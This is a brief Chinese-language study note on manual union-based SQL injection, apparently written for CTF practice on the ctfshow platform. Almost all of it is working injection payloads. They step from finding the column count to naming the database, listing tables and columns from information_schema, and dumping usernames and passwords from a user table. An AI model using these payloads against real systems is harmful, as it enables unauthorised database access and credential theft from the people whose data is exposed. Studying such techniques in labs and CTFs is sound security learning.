x. 手工SQL注入

通常可以直接使用sqlmap来完成,但是也需要理解手工注入的方式,以此加深理解

# 联合查询注入

' union select 1,2,3 -- -
# 获取库
' union select database(),2,3 -- -
# 获取表名
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
# 根据表名获取字段
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' -- -
# 根据表名与字段列表数据
' union select 1, username, password from ctfshow_user -- -